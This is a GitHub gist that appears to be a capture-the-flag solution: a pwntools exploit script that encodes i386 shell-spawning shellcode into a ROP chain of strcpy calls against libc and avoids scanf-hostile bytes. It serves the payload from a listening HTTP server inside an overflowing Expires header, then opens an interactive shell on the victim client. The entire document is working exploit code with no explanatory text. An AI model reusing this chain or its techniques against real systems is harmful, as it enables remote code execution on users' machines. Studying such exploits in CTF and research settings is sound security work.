Skip to content

Instantly share code, notes, and snippets.

@valisctf
Created April 26, 2020 22:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save valisctf/3f8a73bc1da3a9cd7ccdeb224d385978 to your computer and use it in GitHub Desktop.
Save valisctf/3f8a73bc1da3a9cd7ccdeb224d385978 to your computer and use it in GitHub Desktop.
from pwn import *
import time
context.update(arch="i386")
#context.update(log_level="debug")
def strlen_at(data, start):
pos = data.find("\x00", start)
if pos < 0:
return 999999
return pos - start
def encode_shellcode(dest, assembly):
print "Encoding " + assembly
sc = asm(assembly)
print hexdump(sc)
print "Shellcode size: %d" % len(sc)
ret = []
pos = 0
while pos < len(sc):
addr, found_len = find_string(sc[pos:])
ret.append(gen_strcpy(dest + pos, addr))
pos += found_len
info("Element count: %d" % len(ret))
return ret
def find_string(needle):
global libc
global libc_data
global blacklist
global libc_off
zero = needle.find("\x00")
if zero >= 0:
needle = needle[0:zero+1]
oldpos = 0
while needle:
addr = None
pos = libc_data.find(needle, oldpos)
if pos < 0:
needle = needle[0:-1]
oldpos = 0
continue
blacklisted = False
addr = pos+0x3000+libc_off
addr_bytes = p32(addr)
if addr >= (dest_sc-0x10) and addr < (dest_sc+0x100):
warn("Blacklisted because in our destination range")
blacklisted = True
elif strlen_at(libc_data, pos) > 0x100:
blacklisted = True
else:
for b in blacklist:
if b in addr_bytes:
# warn("Skipping blacklisted addr: 0x%x 0x%x for %s" % (addr, ord(b), needle))
blacklisted = True
break
if not blacklisted:
break
oldpos = pos + 1
if not needle:
error("Unable to find string")
info("Found string %s at 0x%x pos: 0x%x (file: 0x%x)" % (needle.encode('hex'), addr, pos, addr-libc_off))
return addr, len(needle)
def gen_strcpy(dst, src):
return [
strcpy,
pop2f,
dst,
src,
flags
]
libc = open("libc.so.4.7.6", "rb")
libc.seek(0x2000)
libc_data = libc.read()
# scanf() blacklist
blacklist = ["\x00", "\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x20"]
libc_off = 0x5fffe000
ret = 0x6001185f
strcpy = 0x6002ff88
strcat = libc_off + 0x31de0
execve = libc_off + 0x14a50
system = libc_off + 0x33a80
ebfe = "\x1b\x74\x01\x00"
dest_sc = libc_off + 0x618a1
dest_stage2 = libc_off + 0x61a30
# pop ecx; pop edx; popf
pop3f = libc_off + 0x5085b
pop2f = libc_off + 0x5085c
pop1f = libc_off + 0x5085d
# Safe flags
flags = 0x01010801
null = 0x60010104
info("sc at 0x%x" % dest_sc)
shellcode = shellcraft.i386.linux.dupsh(4)
# ROP
payload = fit({292: [
# ebp
dest_stage2,
# eip
encode_shellcode(dest_sc, shellcode),
dest_sc,
]})
for c in blacklist:
if c in payload[0:-1]:
error("blacklist char: 0x%x" % ord(c))
info("Payload size: %d" % len(payload))
l = listen(80)
if len(payload) > 992:
error("Payload too long: %d > 992" % len(payload))
while True:
r = l.wait_for_connection()
req = r.recvuntil("\r\n\r\n")
info(req)
r.send("""HTTP/1.1 200 OK\r\nExpires: 26 %s 2020 06:39:55 GMT\r\n""" % payload)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment